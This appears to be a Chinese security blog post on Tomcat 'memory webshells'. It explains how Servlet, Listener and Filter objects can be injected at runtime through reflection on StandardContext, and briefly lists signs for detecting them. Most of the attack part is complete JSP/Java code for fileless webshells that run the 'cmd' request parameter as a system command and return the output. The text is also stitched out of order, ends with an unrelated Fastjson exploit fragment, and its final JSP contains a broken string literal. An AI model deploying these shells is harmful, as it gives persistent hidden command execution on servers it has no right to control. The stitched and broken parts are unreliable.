使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name

图片

接着配置了Servlet的Class

图片

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了

图片

图片

 取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1
2
3
4
5
6
7
8
9
10
11
1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
 
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
 
        }
    };
%>

获取到 StandardContext

1
2
3
4
5
6
7
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet

1
2
3
4
5
6
7
8
<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射

1
2
3
4
5
<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

最后组合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init!");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext,这两种都行,这个常用一点
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();



    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());



    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

这里把Listener的Demo一起放,稍微看了下具体原理差不多,细节改下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点

一直都在听各位师傅讨论内存马,原本孤陋寡闻只知道一句话以及不死马。这几天终于开始学习内存马,不得不说确实很难啃,先做个总结吧。

什么是内存马

内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题

0x01 Tomcat 简介

Servlet

Servlet 是一种处理请求和发送响应的程序

Tomcat 与 Servlet 的关系

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrappe

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
    每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat 容器

在 Tomcat 中,每个 Host 下可以有多个 Context , 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop 或者/manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行等行为

图片

图片

个人理解就是,在Tomcat服务器作用下有多个Host,Host可以看做是单独的网站,每个Host也有多个Context,Context可以看做是网站里的应用,而每个Context也有多个Wrapper,Wrapper可以看做是每个应用的功能,最后每个Wrapper都有一个Servlet,Servlet就是这个功能具体的实现。

具体参考:https://www.cnblogs.com/nice0e3/p/14622879.html

0x02 内存马简单介绍

内存马主要分为以下几类:

servlet-api类

  • filter型

  • servlet型
    spring类

  • 拦截器

  • controller型
    Java Instrumentation类

  • agent型
    这里只记录filter类型的。

学过基本的javaweb都知道,在javaweb的三大件分别是Servlet,Filter和Listener。我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

在一般情况下,用户在客户端发送请求给服务器,服务器经过处理后并不是直接转发给Servlet,而是先通过Filter或者多个Filter(也就是Filter链)进行过滤或者其他操作,才会转接到Servlet

图片

具体过程如上图所示,我们的请求会通过filter最终才会到达servlet,如果我们能够在程序运行阶段创建一个filter并能让他触发(一般是放在filter链的第一个),我们的filter就会触发。当我们在其添加恶意代码时,就可以满足我们的执行命令需求,这样就成了一个内存马

以上部分是我抽取了自认为比较重要的部分,剔除了其他比较冗杂的知识。但总体而言整个过程应该如下:

首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象,这个对象肯定都很熟悉,因为在学习Servlet的时候是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象,最后转接到Filter

所以我们的目标很明确了,想办法动态注册一个filter,然后将其放在filter链的首位。

0x03 Tomcat Filter 流程分析

注入Filter马之前,先了解下正常Filter是怎么运行的

先自己写一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Demo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }



    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("接收到了请求,并且马上进行过滤");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
        System.out.println("过滤完了");
    }



    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

Servlet实现的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里可以用web.xml注册下,也可以直接用注解。为了后续方便,这里添加web.xml,设置url-pattern为 /demo 即访问 /demo 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>Demo</filter-name>
<filter-class>Demo</filter-class>
</filter>

<filter-mapping>
<filter-name>Demo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容
图片

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如”cmd”,”command”类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class DemoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕,开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

访问输入命令即可运行并且回显在页面上
上面是关于过滤链,那么对于内存马的实现,首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象

0x04 Filter型内存马注入

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象

图片

图片

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

调试具体流程前,了解下可能会遇到的一些类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

ok,现在开始分析下Tomcat是怎么调用我们自定义的filter。

知识点2:组装Filters的流程

这调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点

图片

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

图片

图片

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

图片

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

图片

这里为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢

首先来看ApplicationFilterChain对象是什么,这个其实就是调用Filter对象的调度类,就是专门拿来调用所有实现的Filter对象的doFilter方法,其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

图片

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

图片

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

图片

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象,filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看

图片

发现会遍历 FilterMaps 中的 FilterMap(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

跟进addFilter函数

图片

在addFilter函数中首先会遍历filters,然后针对filter进行去重

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

图片

至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

图片

在 doFilter 方法中会调用 internalDoFilter方法

图片

在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

图片

这个FilterConfig对象中包含着如下属性

图片

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取

做个总结

  1. 根据请求的 url 从 FilterMaps 中找出与之 url 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
    根据上面的简单总结,可以发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存马

之前分析流程的时候,我们知道FiltersMaps是从context中获取的。

图片

那很明显了,我们要先获得这个context,这里看大佬的笔记是先从request获取,将servletcontext转为standardcontext从而获取context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他获取的方法比如从线程获取等,但还没去看,先放一放
大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
    每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里的javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,该方法只支持Tomcat7.x以上

1
filterMap.setDispatcher(DispatcherType.REQUEST.name());

最终内存马是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "test;
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};



FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

开启服务,访问该内存马显示成功,随后?cmd=command便能执行我们的命令(这里是linux平台,可以做一点修改)
这里举个例子,先判断系统,再对命令执行的细节进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();

0x05 排查内存马的几个方法

要排查的前提是先识别出,所以要思考下内存马有什么特征

  1. 名字
    内存马的Filter名一般比较特别,有shell或者随机数等关键字。这个因素并不一定完全正确,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常。

  2. filter优先级是第一位
    为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。

  3. 对比web.xml中没有filter配置
    内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。

  4. 特殊classloader加载
    我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
  • com.sun.org.apache.bcel.internal.util.ClassLoader
    这个同Filter名一样,只是作为一个可以参考的因素来决定,不一定完全正确,攻击者也可以完全绕过这两个类来进行构造

0x01 影响版本

Fastjson 1.2.x系列的1.2.25-1.2.47版本。

0x02 限制

主要是JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

0x03 复现利用

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

